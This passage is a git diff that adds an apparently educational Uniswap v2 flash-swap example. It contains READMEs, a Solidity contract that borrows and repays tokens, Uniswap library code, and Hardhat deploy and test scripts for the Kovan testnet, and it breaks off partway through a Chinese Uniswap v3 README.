+- 基于UniswapV2闪电贷的OneSwap套利指南: https://juejin.cn/post/6878116429590167565   
+- 获取 kovan Dai Token: https://docs.alchemist.wtf/copper/auction-creators/getting-test-tokens-for-balancer-lbps-on-the-kovan-testnet  
diff --git a/basic/20-flash-loan/uniswapv2/README.md b/basic/20-flash-loan/uniswapv2/README.md
new file mode 100644
index 000000000..2694863ee
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/README.md
@@ -0,0 +1,55 @@
+[中文](./README-CN.md) / English
+
+# Uniswap v2 Flashswap introduce  
+
+There is a flash loan function that can be called flash swap in v2 version of Uniswap. Thus you can borrow x token from a transaction pair, but repay with y token.
+
+The realization principle of flash swap is:
+
+1. lender can borrow from contract one of x, y token (or both)
+2. lender destined the borrow amount and the params of callback function then calling Flashswap
+3. The contract will send the token to lender which amount destined by user
+4. when these tokens send successfully, the contract Uniswap Pair will calling a destined callback function to the contract address also destined by lender, and pass the params of callback function in
+5. After calling is over, Uniswap Pair will check whether balance of x, y token sufficient $$ x′⋅y′≥k $$
+
+All these process above are also happened in one same transaction.
+
+In Flashswap, user don't need to prepay token can get token what he want, and all you need to do is return these token which need pay in callback function to contract. After Flashswap finished, the prices in AMM pool will changed (if use same token to repay it won't change). Flash swap can be used for arbitrage between AMMs, liquidation of lending platforms and other operations.
+
+Flashswap is similar to a more powerful flash loan, just one api can deal the loan and transaction operation. If you want to know more about flash swap, see [official docs](https://docs.uniswap.org/protocol/V2/guides/smart-contract-integration/using-flash-swaps).  
+
+## Steps  
+
+- Install dependencies  
+
+```shell
+yarn
+```
+
+- Config the environment  
+
+```shell
+cp .env.example .env
+# set INFURA_ID , PRIVATE_KEY in .env
+```
+
+- Deploy the contract  
+
+```shell
+npx hardhat run scripts/deploy_UniswapFlashloaner.js --network kovan
+```
+
+- Start flashloan  
+
+```shell
+npx hardhat run scripts/flashloan_test.js --network kovan
+```
+
+## Reference link  
+
+- Detail of flash loan：<https://liaoph.com/uniswap-v3-6/>
+- uniswap-flash-swapper： <https://github.com/Austin-Williams/uniswap-flash-swapper>
+- Flash Swaps： <https://docs.uniswap.org/protocol/V2/guides/smart-contract-integration/using-flash-swaps>
+- Flashswap Example: <https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/examples/ExampleFlashswap.sol>
+- OneSwap Arbitrage Guide Based on UniswapV2 Flash Loan: <https://juejin.cn/post/6878116429590167565>
+- Get kovan Dai Token: <https://docs.alchemist.wtf/copper/auction-creators/getting-test-tokens-for-balancer-lbps-on-the-kovan-testnet>  
diff --git a/basic/20-flash-loan/uniswapv2/contracts/UniswapFlashloaner.sol b/basic/20-flash-loan/uniswapv2/contracts/UniswapFlashloaner.sol
new file mode 100644
index 000000000..52cff65d2
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/contracts/UniswapFlashloaner.sol
@@ -0,0 +1,153 @@
+pragma solidity ^0.8.0;
+
+import './lib/UniswapV2Library.sol';
+
+interface IERC20 {
+    event Approval(address indexed owner, address indexed spender, uint256 value);
+    event Transfer(address indexed from, address indexed to, uint256 value);
+
+    function name() external view returns (string memory);
+
+    function symbol() external view returns (string memory);
+
+    function decimals() external view returns (uint8);
+
+    function totalSupply() external view returns (uint256);
+
+    function balanceOf(address owner) external view returns (uint256);
+
+    function allowance(address owner, address spender) external view returns (uint256);
+
+    function approve(address spender, uint256 value) external returns (bool);
+
+    function transfer(address to, uint256 value) external returns (bool);
+
+    function transferFrom(
+        address from,
+        address to,
+        uint256 value
+    ) external returns (bool);
+}
+
+interface IWETH {
+    function deposit() external payable;
+
+    function transfer(address to, uint256 value) external returns (bool);
+
+    function withdraw(uint256) external;
+}
+
+interface IUniswapV1Exchange {
+    function balanceOf(address owner) external view returns (uint256);
+
+    function transferFrom(
+        address from,
+        address to,
+        uint256 value
+    ) external returns (bool);
+
+    function removeLiquidity(
+        uint256,
+        uint256,
+        uint256,
+        uint256
+    ) external returns (uint256, uint256);
+
+    function tokenToEthSwapInput(
+        uint256,
+        uint256,
+        uint256
+    ) external returns (uint256);
+
+    function ethToTokenSwapInput(uint256, uint256) external payable returns (uint256);
+}
+
+interface IUniswapV1Factory {
+    function getExchange(address) external view returns (address);
+}
+
+interface IUniswapV2Callee {
+    function uniswapV2Call(
+        address sender,
+        uint256 amount0,
+        uint256 amount1,
+        bytes calldata data
+    ) external;
+}
+
+contract UniswapFlashloaner is IUniswapV2Callee {
+    IUniswapV1Factory immutable factoryV1;
+    address immutable factory;
+    IWETH immutable WETH; // weth 地址
+
+    // address public WETHAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
+    // address public WETHAddr = 0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619 //in matic
+
+    /**
+      _factory
+      _factoryV1
+      router
+    **/
+    constructor(
+        address _factory,
+        address _factoryV1,
+        address router
+    ) public {
+        factory = _factory;
+        factoryV1 = IUniswapV1Factory(_factoryV1);
+        // WETH = IWETH(WETHAddr);
+        WETH = IWETH(router);
+    }
+
+    // needs to accept ETH from any V1 exchange and WETH. ideally this could be enforced, as in the router,
+    // but it's not possible because it requires a call to the v1 factory, which takes too much gas
+    receive() external payable {}
+
+    // gets tokens/WETH via a V2 flash swap, swaps for the ETH/tokens on V1, repays V2, and keeps the rest!
+    function uniswapV2Call(
+        address sender,
+        uint256 amount0,
+        uint256 amount1,
+        bytes calldata data
+    ) external override {
+        address[] memory path = new address[](2);
+        uint256 amountToken;
+        uint256 amountETH;
+
+        {
+            // scope for token{0,1}, avoids stack too deep errors
+            address token0 = IUniswapV2Pair(msg.sender).token0();
+            address token1 = IUniswapV2Pair(msg.sender).token1();
+            assert(msg.sender == UniswapV2Library.pairFor(factory, token0, token1)); // ensure that msg.sender is actually a V2 pair
+            assert(amount0 == 0 || amount1 == 0); // this strategy is unidirectional
+            path[0] = amount0 == 0 ? token0 : token1;
+            path[1] = amount0 == 0 ? token1 : token0;
+            amountToken = token0 == address(WETH) ? amount1 : amount0;
+            amountETH = token0 == address(WETH) ? amount0 : amount1;
+        }
+
+        assert(path[0] == address(WETH) || path[1] == address(WETH)); // this strategy only works with a V2 WETH pair
+        IERC20 token = IERC20(path[0] == address(WETH) ? path[1] : path[0]);
+
+        // do actions here
+        if (amountToken > 0) {
+            // token.approve(address(exchangeV1), amountToken);
+            // uint256 amountReceived = exchangeV1.tokenToEthSwapInput(amountToken, minETH, type(uint256).max);
+            // uint256 amountRequired = UniswapV2Library.getAmountsIn(factory, amountToken, path)[0];
+            // assert(amountReceived > amountRequired); // fail if we didn't get enough ETH back to repay our flash loan
+            // WETH.deposit{value: amountRequired}();
+            // assert(WETH.transfer(msg.sender, amountRequired)); // return WETH to V2 pair
+            // (bool success, ) = sender.call{value: amountReceived - amountRequired}(new bytes(0)); // keep the rest! (ETH)
+            // assert(success);
+            token.transfer(msg.sender, amountToken); // return tokens to V2 pair
+        } else {
+            // WETH.withdraw(amountETH);
+            // uint256 amountReceived = exchangeV1.ethToTokenSwapInput{value: amountETH}(minTokens, type(uint256).max);
+            // uint256 amountRequired = UniswapV2Library.getAmountsIn(factory, amountETH, path)[0];
+            // assert(amountReceived > amountRequired); // fail if we didn't get enough tokens back to repay our flash loan
+            // assert(token.transfer(msg.sender, amountRequired)); // return tokens to V2 pair
+            // assert(token.transfer(sender, amountReceived - amountRequired));
+            WETH.transfer(msg.sender, amountETH); // return WETH to V2 pair
+        }
+    }
+}
diff --git a/basic/20-flash-loan/uniswapv2/contracts/interfaces/IWETH9.sol b/basic/20-flash-loan/uniswapv2/contracts/interfaces/IWETH9.sol
new file mode 100644
index 000000000..fb732754d
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/contracts/interfaces/IWETH9.sol
@@ -0,0 +1,15 @@
+pragma solidity ^0.8.0;
+
+interface IWETH9 {
+    function deposit() external payable;
+    function withdraw(uint wad) external;
+
+    function totalSupply() external view returns (uint);
+
+    function approve(address guy, uint wad) external returns (bool);
+
+    function transfer(address dst, uint wad) external returns (bool);
+
+    function transferFrom(address src, address dst, uint wad) external returns (bool);
+
+}
\ No newline at end of file
diff --git a/basic/20-flash-loan/uniswapv2/contracts/lib/IUniswapV2Pair.sol b/basic/20-flash-loan/uniswapv2/contracts/lib/IUniswapV2Pair.sol
new file mode 100644
index 000000000..2dd17d079
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/contracts/lib/IUniswapV2Pair.sol
@@ -0,0 +1,52 @@
+pragma solidity ^0.8.0;
+
+interface IUniswapV2Pair {
+    event Approval(address indexed owner, address indexed spender, uint value);
+    event Transfer(address indexed from, address indexed to, uint value);
+
+    function name() external pure returns (string memory);
+    function symbol() external pure returns (string memory);
+    function decimals() external pure returns (uint8);
+    function totalSupply() external view returns (uint);
+    function balanceOf(address owner) external view returns (uint);
+    function allowance(address owner, address spender) external view returns (uint);
+
+    function approve(address spender, uint value) external returns (bool);
+    function transfer(address to, uint value) external returns (bool);
+    function transferFrom(address from, address to, uint value) external returns (bool);
+
+    function DOMAIN_SEPARATOR() external view returns (bytes32);
+    function PERMIT_TYPEHASH() external pure returns (bytes32);
+    function nonces(address owner) external view returns (uint);
+
+    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
+
+    event Mint(address indexed sender, uint amount0, uint amount1);
+    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
+    event Swap(
+        address indexed sender,
+        uint amount0In,
+        uint amount1In,
+        uint amount0Out,
+        uint amount1Out,
+        address indexed to
+    );
+    event Sync(uint112 reserve0, uint112 reserve1);
+
+    function MINIMUM_LIQUIDITY() external pure returns (uint);
+    function factory() external view returns (address);
+    function token0() external view returns (address);
+    function token1() external view returns (address);
+    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
+    function price0CumulativeLast() external view returns (uint);
+    function price1CumulativeLast() external view returns (uint);
+    function kLast() external view returns (uint);
+
+    function mint(address to) external returns (uint liquidity);
+    function burn(address to) external returns (uint amount0, uint amount1);
+    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
+    function skim(address to) external;
+    function sync() external;
+
+    function initialize(address, address) external;
+}
diff --git a/basic/20-flash-loan/uniswapv2/contracts/lib/SafeMath.sol b/basic/20-flash-loan/uniswapv2/contracts/lib/SafeMath.sol
new file mode 100644
index 000000000..dfa84885e
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/contracts/lib/SafeMath.sol
@@ -0,0 +1,18 @@
+pragma solidity ^0.8.0;
+
+// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
+
+library SafeMath {
+
+    function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
+        require((z = x + y) >= x, 'ds-math-add-overflow');
+    }
+
+    function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
+        require((z = x - y) <= x, 'ds-math-sub-underflow');
+    }
+
+    function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
+        require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
+    }
+}
diff --git a/basic/20-flash-loan/uniswapv2/contracts/lib/UniswapV2Library.sol b/basic/20-flash-loan/uniswapv2/contracts/lib/UniswapV2Library.sol
new file mode 100644
index 000000000..9e50fbb84
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/contracts/lib/UniswapV2Library.sol
@@ -0,0 +1,140 @@
+pragma solidity ^0.8.0;
+
+import './IUniswapV2Pair.sol';
+import '@openzeppelin/contracts/utils/math/SafeMath.sol';
+
+library UniswapV2Library {
+    using SafeMath for uint256;
+
+    // returns sorted token addresses, used to handle return values from pairs sorted in this order
+    function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
+        require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
+        (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
+        require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
+    }
+
+    // calculates the CREATE2 address for a pair without making any external calls
+    function pairFor(
+        address factory,
+        address tokenA,
+        address tokenB
+    ) internal pure returns (address pair) {
+        (address token0, address token1) = sortTokens(tokenA, tokenB);
+        pair = address(
+            uint160(
+                uint256(
+                    keccak256(
+                        abi.encodePacked(
+                            hex'ff',
+                            factory,
+                            keccak256(abi.encodePacked(token0, token1)),
+                            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
+                        )
+                    )
+                )
+            )
+        );
+    }
+
+    // calculates the CREATE2 address for a pair without making any external calls
+    function getPair(
+        address factory,
+        address tokenA,
+        address tokenB
+    ) public pure returns (address pair) {
+        (address token0, address token1) = sortTokens(tokenA, tokenB);
+        pair = address(
+            uint160(
+                uint256(
+                    keccak256(
+                        abi.encodePacked(
+                            hex'ff',
+                            factory,
+                            keccak256(abi.encodePacked(token0, token1)),
+                            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
+                        )
+                    )
+                )
+            )
+        );
+    }
+
+    // fetches and sorts the reserves for a pair
+    function getReserves(
+        address factory,
+        address tokenA,
+        address tokenB
+    ) internal view returns (uint256 reserveA, uint256 reserveB) {
+        (address token0, ) = sortTokens(tokenA, tokenB);
+        (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
+        (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
+    }
+
+    // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
+    function quote(
+        uint256 amountA,
+        uint256 reserveA,
+        uint256 reserveB
+    ) internal pure returns (uint256 amountB) {
+        require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
+        require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
+        amountB = amountA.mul(reserveB) / reserveA;
+    }
+
+    // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
+    function getAmountOut(
+        uint256 amountIn,
+        uint256 reserveIn,
+        uint256 reserveOut
+    ) internal pure returns (uint256 amountOut) {
+        require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
+        require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
+        uint256 amountInWithFee = amountIn.mul(997);
+        uint256 numerator = amountInWithFee.mul(reserveOut);
+        uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
+        amountOut = numerator / denominator;
+    }
+
+    // given an output amount of an asset and pair reserves, returns a required input amount of the other asset
+    function getAmountIn(
+        uint256 amountOut,
+        uint256 reserveIn,
+        uint256 reserveOut
+    ) internal pure returns (uint256 amountIn) {
+        require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
+        require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
+        uint256 numerator = reserveIn.mul(amountOut).mul(1000);
+        uint256 denominator = reserveOut.sub(amountOut).mul(997);
+        amountIn = (numerator / denominator).add(1);
+    }
+
+    // performs chained getAmountOut calculations on any number of pairs
+    function getAmountsOut(
+        address factory,
+        uint256 amountIn,
+        address[] memory path
+    ) internal view returns (uint256[] memory amounts) {
+        require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
+        amounts = new uint256[](path.length);
+        amounts[0] = amountIn;
+        for (uint256 i; i < path.length - 1; i++) {
+            (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1]);
+            amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
+        }
+    }
+
+    // performs chained getAmountIn calculations on any number of pairs
+    function getAmountsIn(
+        address factory,
+        uint256 amountOut,
+        address[] memory path
+    ) internal view returns (uint256[] memory amounts) {
+        require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
+        amounts = new uint256[](path.length);
+        amounts[amounts.length - 1] = amountOut;
+        for (uint256 i = path.length - 1; i > 0; i--) {
+            (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i - 1], path[i]);
+            amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
+        }
+    }
+}
diff --git a/basic/20-flash-loan/uniswapv2/hardhat.config.js b/basic/20-flash-loan/uniswapv2/hardhat.config.js
new file mode 100644
index 000000000..9f5bd01eb
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/hardhat.config.js
@@ -0,0 +1,48 @@
+require("@nomiclabs/hardhat-waffle");
+require('dotenv').config()
+require("@nomiclabs/hardhat-etherscan");
+
+const INFURA_ID = process.env.INFURA_ID;
+const privateKey = process.env.PRIVATE_KEY;
+const infuraUrl = "https://kovan.infura.io/v3/" + INFURA_ID;
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  defaultNetwork: "localhost",
+  networks: {
+    localhost: {
+      url: "http://127.0.0.1:8545"
+    },
+    kovan: {
+      url: infuraUrl,
+      accounts: [privateKey]
+    },
+    hardhat: {}
+  },
+  etherscan: {
+    // Your API key for Etherscan
+    // Obtain one at https://etherscan.io/
+    apiKey: "1234"
+  },
+  solidity: {
+    version: "0.8.0",
+    settings: {
+      optimizer: {
+        enabled: true,
+        runs: 200
+      }
+    }
+  }
+};
\ No newline at end of file
diff --git a/basic/20-flash-loan/uniswapv2/package.json b/basic/20-flash-loan/uniswapv2/package.json
new file mode 100644
index 000000000..823f97628
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/package.json
@@ -0,0 +1,25 @@
+{
+  "name": "uniswap-flashloan",
+  "version": "0.1.0",
+  "main": "index.js",
+  "repository": "https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/20-flash-loan/uniswapv2",
+  "author": "Rebase Team",
+  "license": "BSD-3-Clause",
+  "dependencies": {
+    "@nomiclabs/hardhat-etherscan": "^3.0.3",
+    "@openzeppelin/contracts": "^4.0.0",
+    "dotenv": "^8.2.0"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0",
+    "hardhat": "^2.6.4"
+  },
+  "scripts": {
+    "build": "npx hardhat compile",
+    "flatten": "npx hardhat  flatten > ./FullUniswapFlashloaner.sol"
+  }
+}
diff --git a/basic/20-flash-loan/uniswapv2/scripts/deploy_UniswapFlashloaner.js b/basic/20-flash-loan/uniswapv2/scripts/deploy_UniswapFlashloaner.js
new file mode 100644
index 000000000..b177ff084
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/scripts/deploy_UniswapFlashloaner.js
@@ -0,0 +1,30 @@
+const hre = require("hardhat");
+const { getAddrs } = require('../utils/index');
+const fs = require("fs");
+
+async function main() {
+  const UniswapFlashloanerFactory = await ethers.getContractFactory("UniswapFlashloaner");
+  const uniFlashloaner = await UniswapFlashloanerFactory.deploy(...getAddrs());
+  console.log("UniswapFlashloaner contract deployed to:", uniFlashloaner.address);
+
+  const uniswapV2LibraryFactory = await ethers.getContractFactory("UniswapV2Library");
+  const uniswapV2Library = await uniswapV2LibraryFactory.deploy();
+  console.log("UniswapV2Library contract deployed to:", uniswapV2Library.address);
+
+  // Writer Contract address to file
+  const flashLoanAddressFile = __dirname + "/../UniswapFlashloaner.json";
+  fs.writeFileSync(
+    flashLoanAddressFile,
+    JSON.stringify({ uniswapFlashloanerAddress: uniFlashloaner.address, uniswapV2LibraryAddress:uniswapV2Library.address  }, undefined, 2)
+  );
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
+
diff --git a/basic/20-flash-loan/uniswapv2/scripts/flashloan_test.js b/basic/20-flash-loan/uniswapv2/scripts/flashloan_test.js
new file mode 100644
index 000000000..645aa4686
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/scripts/flashloan_test.js
@@ -0,0 +1,72 @@
+const { expect } = require('chai');
+const { hasRegexChars } = require('prettier');
+const { ethers } = require("hardhat");
+require('dotenv').config();
+const { getTokenAddress } = require('../utils/index');
+const flashloanerAddress= require("../UniswapFlashloaner.json");
+
+
+// IUniswapV1Factory addr
+// // mainnet
+// const factory = "0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95";
+
+// // testnets
+// const ropsten = "0x9c83dCE8CA20E9aAF9D3efc003b2ea62aBC08351";
+// const rinkeby = "0xf5D915570BC477f9B8D6C0E980aA81757A3AaC36";
+// const kovan = "0xD3E51Ef092B2845f10401a0159B2B96e8B6c3D30";
+// const görli = "0x6Ce570d02D73d4c384b46135E87f8C592A8c86dA";
+
+
+// UniswapV2Factory addr
+// const matics = 0x160A4086CB492cFCcF996650799a908506268ffb
+// const others = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
+
+
+// address pair = address(uint(keccak256(abi.encodePacked(
+//   hex'ff',
+//   factory,
+//   keccak256(abi.encodePacked(token0, token1)),
+//   hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
+// ))));
+
+async function main() {
+  let [wallet] = await ethers.getSigners();
+
+  // kovan uniswap v2 factory address
+  const factory = '0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f';
+  let getTokenAddr = getTokenAddress('kovan');
+
+  const artifactUniswapV2Library = artifacts.readArtifactSync("UniswapV2Library");
+  let iuniswapV2Library = new ethers.Contract(flashloanerAddress.uniswapV2LibraryAddress, artifactUniswapV2Library.abi, wallet);
+  let pairAddr = await iuniswapV2Library.getPair(factory, getTokenAddr('WETH'), getTokenAddr('DAI'))
+  console.log(pairAddr)
+
+  const artifactIUniswapV2Pair = artifacts.readArtifactSync("IUniswapV2Pair");
+  let UniswapV2Pair = new ethers.Contract(pairAddr, artifactIUniswapV2Pair.abi, wallet);
+
+  const OVERRIDES = {
+    gasLimit: 8e6,
+    gasPrice: 60e8
+  }
+
+  console.log("Going to do Uniswap V2 flashSwap");
+  const bytes = ethers.utils.arrayify('0x00')
+  let pair_res =
+  await UniswapV2Pair.swap(
+      0, 1,
+      flashloanerAddress.uniswapFlashloanerAddress,
+      bytes,
+      OVERRIDES)
+  
+  await pair_res.wait()
+  console.log(`Uniswap V2 flashSwap successfully, please check tx hash ${pair_res.hash} for more details `)
+
+};
+
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
+
diff --git a/basic/20-flash-loan/uniswapv2/utils/index.js b/basic/20-flash-loan/uniswapv2/utils/index.js
new file mode 100644
index 000000000..ff5101cb1
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv2/utils/index.js
@@ -0,0 +1,92 @@
+
+// IUniswapV1Factory addr
+// // mainnet
+// const factory = "0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95";
+
+// // testnets
+// const ropsten = "0x9c83dCE8CA20E9aAF9D3efc003b2ea62aBC08351";
+// const rinkeby = "0xf5D915570BC477f9B8D6C0E980aA81757A3AaC36";
+// const kovan = "0xD3E51Ef092B2845f10401a0159B2B96e8B6c3D30";
+// const görli = "0x6Ce570d02D73d4c384b46135E87f8C592A8c86dA";
+
+
+// UniswapV2Factory addr
+// const matics = 0x160A4086CB492cFCcF996650799a908506268ffb
+// const others = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
+
+const hre = require("hardhat");
+
+const IUniswapV1Factory = {
+  mainnet: "0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95",
+  ropsten: "0x9c83dCE8CA20E9aAF9D3efc003b2ea62aBC08351",
+  rinkeby: "0xf5D915570BC477f9B8D6C0E980aA81757A3AaC36",
+  kovan: "0xD3E51Ef092B2845f10401a0159B2B96e8B6c3D30",
+  görli: "0x6Ce570d02D73d4c384b46135E87f8C592A8c86dA",
+}
+
+const UniswapV2Factory = {
+  matic: '0x160A4086CB492cFCcF996650799a908506268ffb',
+  others: '0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f'
+}
+
+const WETHAddr = {
+  kovan: '0xd0A1E359811322d97991E03f863a0C30C2cF029C',
+  matic: '0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619'
+}
+
+const getAddrs = () => {
+
+  let network = hre.hardhatArguments.network;
+
+  if (!IUniswapV1Factory[network]) {
+    throw console.error(`Are you deploying to the correct network? (network selected: ${network})`)
+  }
+
+  return [UniswapV2Factory[network] || UniswapV2Factory['others'], IUniswapV1Factory[network],WETHAddr[network]]
+}
+
+const getTokenAddress = network => (tokenSymbol) => {
+  // let network = hre.hardhatArguments.network;
+  if (tokenSymbol === 'ETH') {
+    return '0x0000000000000000000000000000000000000000'
+  }
+
+  const mainnet = {
+    'DAI': '0x6B175474E89094C44Da98b954EedeAC495271d0F',
+    'USDC': '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48',
+    'TUSD': '0x0000000000085d4780B73119b644AE5ecd22b376',
+    'WETH': '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2',
+    'KNC': '0xdd974d5c2e2928dea5f71b9825b8b646686bd200',
+  }
+
+  const rinkeby = {
+    'DAI': '0xc7AD46e0b8a400Bb3C915120d284AafbA8fc4735',
+    'WETH': '0xc778417E063141139Fce010982780140Aa0cD5Ab'
+  }
+
+  const kovan = {
+    'DAI': '0x4F96Fe3b7A6Cf9725f59d353F723c1bDb64CA6Aa',
+    'WETH': '0xd0A1E359811322d97991E03f863a0C30C2cF029C'
+  }
+
+  const token = {
+    mainnet,
+    rinkeby,
+    kovan
+  }
+
+  if (!token[network]) {
+    throw console.error(`Token addresses are not known for network ${network}.`)
+  }
+
+  if (!token[network][tokenSymbol]) {
+    throw console.error(`Token address not known for token ${tokenSymbol}, in network ${network}.`)
+  }
+  return token[network][tokenSymbol]
+}
+
+
+module.exports = {
+  getAddrs,
+  getTokenAddress
+}
\ No newline at end of file
diff --git a/basic/20-flash-loan/uniswapv3/.env.example b/basic/20-flash-loan/uniswapv3/.env.example
new file mode 100644
index 000000000..f7a7fdcc7
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/.env.example
@@ -0,0 +1,3 @@
+INFURA_ID=xxxx
+PRIVATE_KEY=zzzz
+ETHERSCAN_APIKEY=ttt
\ No newline at end of file
diff --git a/basic/20-flash-loan/uniswapv3/.gitignore b/basic/20-flash-loan/uniswapv3/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/20-flash-loan/uniswapv3/README-CN.md b/basic/20-flash-loan/uniswapv3/README-CN.md
new file mode 100644
index 000000000..c54448a92
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/README-CN.md
@@ -0,0 +1,113 @@
+中文 / [English](./README.md)
+
+# Uniswap v3 Flashswap 介绍  
+
+Uniswap v3 版本中，和 v2 一样也有两种闪电贷的方式，但是是通过不同的函数接口来完成的。
+
+第一种是普通的闪电贷，即借入 token 和还贷 token 相同，通过 UniswapV3Pool.flash() 完成
+第二种是类似 v2 的 flash swap，即借入 token 和还贷 token 不同，这个是通过 UniswapV3Pool.swap() 来完成的。
+
+## 代码解析  
+- constructor  
+合约的构造函数，用于进行 flash loan 和 flash swap.  
+部署的时候需要传入 token0 和 token1 的地址, 其中一个 WETH , 另一个可以为 DAI/USDC/USDT 等. 在本样例中，借入币种为 WETH，所以需要 token0 或 token1 其中一个为 WETH
+
+```solidity
+constructor(address _token0, address _token1) {
+        token0 = _token0;
+        token1 = _token1;
+
+        // pool fees that where be used to get the pool with largest liquidity
+        v3Fees[0] = 500;
+        v3Fees[1] = 3000;
+        v3Fees[2] = 10000;
+    }
+
+```
+
+- uniswapV3FlashCallback   
+pool.flash 的回调接口。 当调用 pool.flash 后，uniswap V3 会根据接口传入的 token0 amount 和 token1 amount 数值，借贷对应的数额给调用者，然后回调调用者的 uniswapV3FlashCallback 让调用者进行后续的处理。当 uniswapV3FlashCallback 回调结束后，uniswap V3 pool 会检查调用者是否偿还对应的 amount + fee 给 pool, 如果已经偿还，则 flash loan 调用成功；否则 flash loan 调用失败。   
+在 demo 合约中，没有进行其他的操作，直接偿还 amount + fee 给 pool，实际调用中，可以添加相应的处理代码。  
+
+```solidity
+// callback function of uniswap V3's flash loan
+    // _fee0: callback data, input by uniswapV3 automatically, which is used to repay for the borrow. which means, if you borrow 5 token0 , you need to repay "5 + _fee0"
+    // _fee1: same as _fee0, which is used for token1
+    // data: user input data when call pool.flash
+    function uniswapV3FlashCallback(uint256 _fee0, uint256 _fee1, bytes calldata data) external {
+        (
+            uint256 amount0,
+            uint256 amount1,
+            address pool
+        ) = abi.decode(data, (uint256, uint256,address));
+
+        uint256 fee0 = _fee0;
+        uint256 fee1 = _fee1;
+
+        // launch actions
+        {
+           
+            console.log('[+] Do flashloan ');
+
+        }
+
+        // repay flash loan
+        IERC20(token0).transfer(pool, amount0 + fee0);
+        IERC20(token1).transfer(pool, amount1 + fee1);
+    }
+```   
+   
+- uniswapV3SwapCallback   
